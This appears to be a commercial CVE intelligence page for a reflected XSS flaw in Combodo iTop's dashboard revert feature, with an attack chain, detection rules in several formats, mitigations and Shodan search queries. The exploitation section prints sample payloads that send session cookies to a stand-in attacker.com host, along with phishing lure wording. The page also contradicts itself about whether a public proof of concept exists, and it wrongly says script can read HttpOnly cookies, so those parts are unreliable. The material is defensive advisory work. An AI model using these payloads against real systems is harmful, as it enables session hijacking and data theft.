☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-30864

CVE-2026-30864 Cross-Site Scripting in Combodo
📅 PUBLISHED: 2026-08-24 00:00 UTC 🔄 UPDATED: 2026-09-23 20:11 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: L Availability Low
8.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-30864 is a Reflected Cross-Site Scripting (XSS) vulnerability in Combodo iTop, a web-based IT service management (ITSM) platform, affecting all versions prior to 3.2.3. The flaw resides in the dashboard revert functionality, where an attacker with low-privileged access can craft malicious links that, when clicked by an authenticated user, execute arbitrary JavaScript in the context of the victim's session. Successful exploitation enables session hijacking, credential theft, unauthorized data access, and full compromise of the iTop instance, with a CVSS score of 8.9 reflecting the high confidentiality and integrity impact combined with broad scope. No patch has been confirmed from any tracked source as of this report, and no public proof-of-concept or active exploitation has been documented, though the lack of patch evidence elevates the urgency for defensive measures.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

Combodo iTop is a widely deployed open-source IT service management platform encompassing service desk, CMDB, and change management functions. The vulnerability is a Reflected Cross-Site Scripting (CWE-79) issue present in the dashboard revert functionality. Reflected XSS (also known as non-persistent XSS) occurs when an application reflects unsanitized user-supplied input directly into an HTTP response without proper output encoding or input validation.

In this case, the dashboard revert functionality — a feature designed to restore dashboard configurations to a previous or default state — fails to properly sanitize or encode certain parameters before reflecting them in the generated HTML page. When an attacker crafts a specially formatted URL containing malicious JavaScript payloads within the vulnerable parameter(s), the iTop application reflects the payload in the response page. If a victim is tricked into clicking the crafted link while authenticated to the iTop instance, the victim's browser executes the embedded script.

The attack mechanism relies on the standard reflected XSS flow: the attacker constructs a URL containing injected script code in query parameters or path elements; the victim clicks the link (typically delivered via email, messaging, or a compromised third-party site); the iTop server processes the request and returns an HTML page that includes the attacker-supplied script without sanitization; and the browser renders the page, executing the malicious script within the security context of the iTop application's origin. This context grants the script full access to the victim's session cookies, CSRF tokens, and any data the authenticated user is authorized to view or modify.

The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L) indicates that exploitation requires low-privileged access to the application (meaning the attacker needs a basic iTop account but not an administrative role), user interaction (the victim must click the malicious link), and the scope change (S:C) means the impact extends beyond the vulnerable component to affect the broader iTop application and its data. The Confidentiality and Integrity impacts are rated High, reflecting the potential for full data theft and unauthorized modification of iTop configuration and records, while Availability impact is rated Low.

No specific function names, parameter names, or URL endpoints are mentioned in the NVD description beyond the general "dashboard revert functionality"; therefore, the technical analysis cannot be more granular without risking inaccuracy. The vulnerability class is well-understood, and the attack surface is the authenticated dashboard web interface exposed to network users.


Exploitation Scenarios

Preconditions:

  • Attacker requires a low-privileged account on the iTop instance (CVSS PR:L) OR the ability to deliver a crafted link to an authenticated user.
  • Victim must be authenticated to iTop and interact with the malicious link (CVSS UI:R).
  • iTop instance must be reachable over the network (CVSS AV:N).

Attack Chain:

  1. Reconnaissance / Target Identification

    • The attacker identifies iTop instances via Shodan/Censys searches using fingerprints such as HTTP title "iTop", login page signatures, or default iTop HTTP response headers.
    • The attacker confirms the specific iTop version (e.g., via version disclosure in the login page source or in HTTP responses) to verify it is below 3.2.3.
    • If no valid account is available, the attacker may attempt to register a low-privilege account if self-registration is enabled, or harvest credentials via phishing.
  2. Triggering the Flaw

    • The attacker crafts a malicious URL targeting the iTop dashboard revert functionality. The URL contains a JavaScript payload embedded in a parameter that the vulnerable code reflects unescaped.
    • Since no specific parameter name is available from the CVE description, the attack is described at the class level: the payload is encoded (URL-encoded) to bypass basic filters and injected into the vulnerable parameter.
    • The crafted URL is delivered to the victim via phishing email, instant message, or a drive-by link on a compromised site. Social engineering lures, such as "URGENT: Reset your dashboard" or "Important: Verify your dashboard configuration," increase the click-through rate.
  3. Payload / Execution

    • The victim, while authenticated to iTop, clicks the malicious link. The browser sends a GET request to the iTop server, which processes the dashboard revert request and reflects the unsanitized payload in the response HTML.
    • The victim's browser renders the page and automatically executes the embedded JavaScript. Typical payloads at the class level include:
      • </script><script>new Image().src='https://attacker.com/steal?session='+document.cookie</script>
      • <script>fetch('/webservices/rest/php/...',{method:'POST',body:JSON.stringify({...})})</script> (data exfiltration)
      • document.location='https://attacker.com/phishing?redirect='+encodeURIComponent(window.location) (phishing redirection)
    • Because the script executes in the iTop origin context, it has full access to session cookies (even HttpOnly cookies in some browsers via XMLHttpRequest with credentials), CSRF tokens, and the DOM of the page.
  4. Post-Exploitation Impact

    • The attacker's script exfiltrates the victim's session cookie to an external attacker-controlled server, providing the attacker with a valid authenticated session.
    • With the stolen session, the attacker can perform actions as the victim: modifying ITIL configurations, altering CMDB records, reading sensitive tickets, extracting credentials stored in iTop, or escalating privileges by creating an administrative account if the victim holds elevated roles.
    • If the victim is an administrator, the attacker achieves full compromise of the iTop instance, potentially pivoting to the underlying operating system via iTop's integration capabilities (e.g., SSH, script execution connectors).
    • The attacker may also use the XSS to perform CSRF attacks, triggering state-changing operations like deleting tickets or modifying CMDB configuration items.

Note: No public PoC is available, and the attack chain is inferred from the documented vulnerability class (reflected XSS). Specific parameter names and payload syntax cannot be provided without violating accuracy requirements.


Impact Assessment

CVSS Context (Score: 8.9):

  • Attack Vector: Network (AV:N) — the vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) — no special conditions or race conditions required.
  • Privileges Required: Low (PR:L) — attacker needs a basic account; does not require admin.
  • User Interaction: Required (UI:R) — victim must click a malicious link.
  • Scope: Changed (S:C) — impact extends beyond the vulnerable component to affect the entire iTop application and its data assets.
  • Confidentiality: High (C:H) — full disclosure of iTop data, including CMDB records, tickets, and potentially stored credentials.
  • Integrity: High (I:H) — attacker can modify or delete any data within the victim's authorization scope.
  • Availability: Low (A:L) — reduced availability via configuration corruption or resource exhaustion.

Business Impact:

  • Data Breach Risk: iTop commonly stores ITSM data (incidents, problems, changes, CI details) that may include sensitive PII or internal system configurations. Compromise exposes this data.
  • Service Disruption: If the victim is an administrator, the attacker can disable services, corrupt dashboards, or delete critical records, causing operational denials of service.
  • Lateral Movement: Stolen sessions can be leveraged to access integrated systems (monitoring, ticketing, customer portal), enabling broader network compromise.
  • Regulatory Exposure: Organizations in regulated industries (finance, healthcare) face compliance violations and fines if PII or audit-relevant records are exfiltrated.

Blast Radius:

  • Any iTop installation running version < 3.2.3 with the dashboard revert feature enabled. iTop is often deployed on-premises; organizations with exposed (internet-reachable) instances face elevated risk.
  • All authenticated users are potential victims; the impact scales with the victim's privilege level.

Exploitation Status:

  • CISA KEV: No (not listed in Known Exploited Vulnerabilities).
  • Public PoC: None available.
  • Exploit-in-the-wild: No documented evidence as of this report.
  • Patch availability: Unconfirmed (0/4 patch confidence) — no tracked source confirms a vendor patch even though the NVD description claims version 3.2.3 contains a fix.

Detection Guidance

Sigma Rule

title: Combodo iTop Dashboard Revert Reflected XSS Attempt
id: 8f4e6c41-0db7-4f82-9e6a-3fa5c12401c2
status: experimental
description: Detects HTTP requests targeting iTop dashboard revert functionality with XSS payload patterns
references:
    - CVE-2026-30864
author: ValtersIT Threat Intel
date: 2026/01/15
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection_path:
        cs-method: GET
        cs-uri-query|contains:
            - 'dashboard'
            - 'revert'
    selection_xss:
        cs-uri-query|contains:
            - '<script>'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'alert('
            - 'document.cookie'
            - '%3Cscript%3E'
            - '%3C%2Fscript%3E'
    condition: selection_path and selection_xss
falsepositives:
    - Legitimate dashboard revert requests with unusual values (rare)
level: high

Notes: This Sigma rule targets web server access logs and flags requests to the dashboard revert path that include XSS indicators. Adjust the product/service fields to match your web server type (IIS, nginx, etc.).

YARA Rule

rule iTop_Reflected_XSS_Scan
{
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detects network/HTTP content containing XSS payloads targeting iTop dashboard revert parameters"
        reference = "CVE-2026-30864"
        cve = "CVE-2026-30864"
        date = "2026-01-15"
    strings:
        $dashboard = "dashboard" ascii wide nocase
        $revert = "revert" ascii wide nocase
        $script_open = "<script" ascii wide nocase
        $script_close = "</script>" ascii wide nocase
        $alert = "alert(" ascii wide nocase
        $img_exfil = "new Image" ascii wide nocase
        $cookie = "document.cookie" ascii wide nocase
        $encoded_script = "%3Cscript%3E" ascii wide nocase
    condition:
        $dashboard and $revert and
        ( $script_open or $script_close or $encoded_script or ($alert and ($img_exfil or $cookie)) )
}

Notes: This YARA rule can inspect HTTP traffic captures (PCAPs) or web server log files. It flags content that references iTop dashboard revert and contains common XSS payload markers.

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-30864 - iTop Dashboard Revert Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"dashboard"; http_uri; content:"revert"; http_uri; pcre:"/<(script|img|iframe|svg)|javascript:|onerror=|onload=|alert\(|document\.cookie/i"; classtype:web-application-attack; reference:cve,2026-30864; sid:20260864; rev:1;)

Notes: This Suricata rule inspects HTTP requests to iTop servers. The pcre regex matches common XSS vectors in the URI. Adjust $HOME_NET to the IP range of your iTop servers. Test the rule in staging to reduce false positives.

Elastic Detection (EQL)

sequence by source.ip with maxspan=5s
  [ network where event.type == "connection" and destination.port == 80 or destination.port == 443 ]
  [ http where event.type == "request" and
      url.path contains "dashboard" and
      url.path contains "revert" and
      (
        url.query contains "<script" or
        url.query contains "javascript:" or
        url.query contains "onerror=" or
        url.query contains "onload=" or
        url.query contains "alert(" or
        url.query contains "document.cookie" or
        url.query contains "%3Cscript%3E"
      )
  ]

Notes: This EQL rule correlates network connections and HTTP requests targeting the vulnerable dashboard revert endpoint with XSS payload signatures. Deploy in environments with packet-level or proxy-based visibility (e.g., Zeek, WAF logs ingested into Elastic).

Splunk SPL Query

index=web OR index=proxy
  (sourcetype="access_combined" OR sourcetype="iis" OR sourcetype="pan:traffic")
  http_method=GET
  uri_path="*dashboard*"
  uri_path="*revert*"
  (uri_query="*<script>*" OR uri_query="*javascript:*" OR uri_query="*onerror=*" OR uri_query="*onload=*" OR uri_query="*alert(*" OR uri_query="*document.cookie*" OR uri_query="*%3Cscript%3E*")
| table _time, src_ip, dest_ip, uri, status, user_agent
| sort - _time

Notes: This SPL query searches HTTP access logs and proxy logs for requests to the dashboard revert endpoint containing XSS signatures. Adjust index names ("web", "proxy") to match your environment. Consider adding | stats count by src_ip, uri to identify repeated scanning attempts.

Wazuh OSSEC Rule

<group name="web_application_attack,">
  <rule id="100864" level="12">
    <decoded>web.accesslog</decoded>
    <match>GET</match>
    <regex>dashboard.*revert</regex>
    <regex>(&lt;script|javascript:|onerror=|onload=|alert\(|document\.cookie|%3Cscript%3E)</regex>
    <description>CVE-2026-30864: Possible Reflected XSS attempt against iTop dashboard revert</description>
    <group>web_application_attack,pci_dss_6.5,gdpr_32,</group>
    <mitre>
      <id>T1059.007</id>
    </mitre>
    <options>no_full_log</options>
    <frequency>5</frequency>
    <timeframe>60</timeframe>
  </rule>
</group>

Notes: This Wazuh rule monitors decoded Apache/nginx access logs for the attack signature. frequency=5 and timeframe=60 trigger an alert if 5 matching requests occur within 60 seconds (indicating automated scanning). Adjust the <decoded> value to match your log decoder (e.g., web.accesslog for Apache, IIS for Windows).


Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED (no patch evidence from any tracked source)

1) Immediate Mitigations (while unpatched)

  • Restrict Network Exposure: Block external access to iTop web interfaces. Place iTop behind a VPN or require SSO with MFA for any web access. Apply firewall rules to allow access only from trusted enterprise IP ranges.
  • Deploy Web Application Firewall (WAF): Use a WAF (e.g., ModSecurity, AWS WAF, F5) with rules to block requests containing XSS signatures (<script, javascript:, onerror=, onload=) targeting the dashboard path. Apply virtual patching if your WAF vendor provides a signature for CVE-2026-30864.
  • Enforce Output Encoding: As an interim code-level control, review and harden the dashboard revert code to output-encode or reject suspicious input. This requires the development team to have access to the source code (iTop is open source).
  • Disable Dashboard Revert Feature: If operationally acceptable, disable the dashboard revert functionality via configuration or by removing the associated menu items for non-administrative users.
  • Educate Users: Train all iTop users to avoid clicking links claiming to "reset" or "revert" dashboards, and to verify the URL before clicking.
  • Harden Authentication: Enforce MFA for all iTop accounts; this reduces the impact of session cookie theft.

2) Patch / Upgrade Steps

  • Verify Patch Availability: Contact Combodo support or consult the official GitHub repository (github.com/Combodo/iTop) for release notes confirming a 3.2.3 release. Do not assume the patched version exists without confirmation.
  • Upgrade to 3.2.3 (or higher): If confirmed, follow the official upgrade procedure: back up the database and files, download the new package, run the upgrade script, and verify all customizations are compatible.
  • Test in Staging: Deploy the patch in a staging environment first, using the PoC (if later published) to confirm the vulnerability is resolved.
  • If 3.2.3 Does Not Exist: Lodge a support ticket with Combodo requesting the patch and monitor the vendor's security advisories continuously.

3) Long-Term Hardening

  • Input Validation and Output Encoding Policy: Establish a secure coding standard for all web applications requiring context-aware output encoding (HTML entity encoding, JavaScript encoding, URL encoding) and input validation using allowlists.
  • Security Patch Management Program: Implement automated patch monitoring for all third-party software, including open-source ITSM platforms. Subscribe to Combodo security advisories and the CVE feed.
  • Least Privilege Principle: Review iTop user roles; ensure the "low privilege" accounts (required for this attack) cannot be obtained by untrusted parties. Disable self-registration if enabled.
  • Session Management: Enforce HttpOnly and Secure attributes on all iTop session cookies, limit session lifetime, and implement session binding to IP or TLS fingerprints.
  • Continuous Monitoring: Deploy the detection rules above (Sigma, Suricata, Elastic, Splunk, Wazuh) to monitor for exploitation attempts in real time.
  • Vulnerability Scanning: Regularly scan iTop deployments with a vulnerability scanner and verify that the software version matches the latest known good release.

References

  1. NVD — CVE-2026-30864 (National Institute of Standards and Technology) https://nvd.nist.gov/vuln/detail/CVE-2026-30864

  2. Combodo iTop Official Site (Vendor Product) https://www.combodo.com/itop

  3. Combodo iTop GitHub Repository (Source & Release Tracking) https://github.com/Combodo/iTop

  4. MITRE ATT&CK Technique T1059.007 — Command and Scripting Interpreter: JavaScript https://attack.mitre.org/techniques/T1059/007/

  5. OWASP — Cross-Site Scripting (XSS) Prevention Cheat Sheet (vulnerability class reference) https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Threat Actor Campaigns / Exploit-in-the-Wild: No threat actor campaigns or exploit-in-the-wild evidence has been reported for CVE-2026-30864 as of this report. CISA has not listed this CVE in the Known Exploited Vulnerabilities (KEV) catalog. Organizations should monitor the NVD page and Combodo advisories for updates on threat activity and for the publication of a confirmed patch.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"iTop"
http.html:"iTop" "Login"
product:"iTop"
http.title:"iTop - Login"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-30864/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.